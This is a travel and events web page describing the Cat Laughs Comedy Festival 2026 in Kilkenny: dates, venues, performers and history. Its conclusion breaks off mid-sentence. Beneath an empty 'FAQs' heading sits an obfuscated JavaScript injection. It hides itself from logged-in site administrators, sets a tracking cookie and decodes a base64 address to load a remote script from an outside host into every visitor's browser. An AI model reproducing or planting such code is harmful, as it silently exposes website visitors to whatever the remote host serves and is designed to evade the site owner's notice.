Cat Laughs 2026 Complete Guide: Dates, Lineup and Festival Highlight

The Cat Laughs Comedy Festival is a popular Irish comedy festival held annually in Kilkenny City. It takes place during the June Bank Holiday weekend, attracting comedy lovers from across Ireland. Cat Laughs 2026 will run from May 29th to June 1st in the heart of Kilkenny. 

Key Feature	Details
Event Name	Cat Laughs Comedy Festival 2026
Location	Kilkenny City, Ireland
Dates	May 29 – June 1, 2026 (June Bank Holiday weekend)
Venues	Pubs, theatres, and city-wide venues
Audience Size	Over 30,000 visitors expected

When and Where It Takes Place

The Cat Laughs Comedy Festival dates for 2026 are the May 29th to June 1st weekend. It is held across Kilkenny City, located in County Kilkenny, Ireland’s well-known cultural destination. Events take place during the busy June Bank Holiday, making it a perfect long weekend activity. Multiple venues across the city host performances, creating an exciting and easy-to-explore festival schedule.

You can check full public holiday dates and planning details in our guide: June Bank Holiday. 

About the Festival

The Cat Laughs Comedy Festival is a large-scale comedy weekend featuring live shows across many venues. It brings together Irish comedy festival talent and international performers for a fun-filled entertainment experience. The festival takes place in Ireland’s Ancient East, giving visitors both culture and comedy together. 

Audiences enjoy a relaxed atmosphere where comedians perform freely without recordings or competition pressure. This Kilkenny event has grown into a must-attend comedy celebration known for quality performances and energy.

Line Up and Performers

The Cat Laughs lineup includes a mix of well-known Irish comedians and international comedy acts. Popular performers for 2026 include Ed Byrne, Colm O’Regan, Alison Spittle, and Neil Delamere. Other names such as Laura Smyth, Rich Hall, and David O’Doherty add variety and global appeal.

These Irish comedians and guests deliver fresh material, making each show unique and highly entertaining. The festival supports both famous performers and new talent, giving audiences a diverse comedy experience.

What to Expect

The Cat Laughs experience offers comedy shows from daytime until late night across Kilkenny’s streets and venues. Visitors can enjoy performances in theatres, pubs, and unique spaces spread throughout the city centre. The festival atmosphere is lively, social, and filled with laughter from crowds of over thirty thousand attendees.

Street events and activities add extra fun, including popular matches between Irish and international comedians. This comedy show Ireland event creates an unforgettable vibe with energy, humour, and friendly community spirit.

History and Growth

The Cat Laughs’ history began in 1994, created to support Ireland’s growing comedy scene talent. It started as a small event with few shows but quickly gained popularity among audiences and performers.

Over the years, it developed into one of the leading Kilkenny comedy history success stories. Today, it stands as a major festival attracting international recognition and large visitor numbers annually.

You can read more about festivals and cultural events across Ireland.

Conclusion

The Cat Laughs Comedy Festival is a must-visit event for anyone who enjoys live comedy. Held in Kilkenny during the June Bank Holiday, it offers a fun and lively atmosphere. With top Irish and international comedians, it guarantees laughter, entertainment, and memorable experiences. From unique venues to vibrant streets, this festival truly captures the spirit of Ireland’s

FAQs

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();